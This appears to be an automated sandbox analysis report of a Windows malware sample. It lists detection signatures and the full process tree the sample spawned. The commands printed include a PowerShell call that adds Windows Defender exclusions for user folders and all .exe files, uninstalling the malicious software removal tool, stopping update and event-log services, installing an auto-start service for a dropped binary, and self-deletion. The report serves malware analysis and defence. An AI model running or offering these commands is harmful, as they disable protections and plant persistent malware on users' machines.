Analysis
- max time kernel
26s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
20/06/2026, 13:32
Errors
General
- Target _47167ee6a2eedbb6a361b502516be53365b4399ca8c05a51c21b0dea8980e33f.exe
- Size 3.3MB
- Sample260620-qs1sysgw4z
- SHA256 47167ee6a2eedbb6a361b502516be53365b4399ca8c05a51c21b0dea8980e33f
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates new service(s) 2 TTPs
- Stops running service(s) 4 TTPs
- Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\_47167ee6a2eedbb6a361b502516be53365b4399ca8c05a51c21b0dea8980e33f.exe"C:\Users\Admin\AppData\Local\Temp\_47167ee6a2eedbb6a361b502516be53365b4399ca8c05a51c21b0dea8980e33f.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "SGVWAUZP"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "SGVWAUZP" binpath= "C:\ProgramData\nhlkhcaquulf\gbasypkbrely.exe" start= "auto"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "SGVWAUZP"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\_47167ee6a2eedbb6a361b502516be53365b4399ca8c05a51c21b0dea8980e33f.exe"2⤵
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
-
-
-
C:\ProgramData\nhlkhcaquulf\gbasypkbrely.exeC:\ProgramData\nhlkhcaquulf\gbasypkbrely.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
gbasypkbrely.exe
__PSScriptPolicyTest_5tox1nbh.pv0.ps1
memory/1368-37-0x000001C2B3A40000-0x000001C2B3AF2000-memory.dmp
memory/1468-24-0x0000000140000000-0x000000014002B000-memory.dmp
memory/1468-25-0x0000000140000000-0x000000014002B000-memory.dmp
memory/1468-26-0x0000000140000000-0x000000014002B000-memory.dmp
memory/1468-27-0x0000000140000000-0x000000014002B000-memory.dmp
memory/5056-16-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-20-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-13-0x000002E7765A0000-0x000002E776652000-memory.dmp
memory/5056-14-0x000002E776350000-0x000002E77635A000-memory.dmp
memory/5056-15-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-0-0x00007FF846F4F000-0x00007FF846F50000-memory.dmp
memory/5056-17-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-18-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-19-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-12-0x000002E776360000-0x000002E77637E000-memory.dmp
memory/5056-22-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-23-0x000002E775D09000-0x000002E775D0F000-memory.dmp
memory/5056-9-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-8-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-7-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-6-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-5-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-4-0x000002E775E80000-0x000002E775EA2000-memory.dmp
memory/5056-34-0x00007FF846DC0000-0x00007FF847764000-memory.dmp
memory/5056-1-0x00007FF846DC0000-0x00007FF847764000-memory.dmp